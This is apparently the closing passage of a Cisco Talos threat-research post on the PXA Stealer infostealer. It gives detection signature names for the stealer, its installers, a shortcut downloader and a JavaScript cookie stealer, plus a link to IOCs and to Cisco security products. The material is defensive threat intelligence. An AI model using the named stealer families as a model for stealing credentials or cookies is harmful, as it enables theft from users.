Py.Infostealer.PXAStealer-10036725-0
Txt. Tool.PXAStealerlnstaller-10036719-0
Txt. Tool.PXAStealerlnstaller-10036724-0
Txt.Tool.PXAStealerinstaller-10036724-0
Lnk.Downloader.PXAStealer-10036720-0
Js.Infostealer.CookieStealer-10036722-0

Indicators of Compromise

IOCs for this research can be found in our GitHub repository here.

© Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy.
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https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html
https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/products/security/threat-grid/index.html
https://umbrella.cisco.com/
https://signup.umbrella.com/?utm_medium=web-referral?utm_source=cisco&utm_campaign=umbrella-free-trial&utm_term=pgm-talos-trial&utm_content=automated-free-trial
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
https://signup.duo.com/?utm_source=talos&utm_medium=referral&utm_campaign=duo-free-trial
https://www.snort.org/products
https://github.com/Cisco-Talos/IOCs/blob/main/2024/11/new-pxa-stealer.txt
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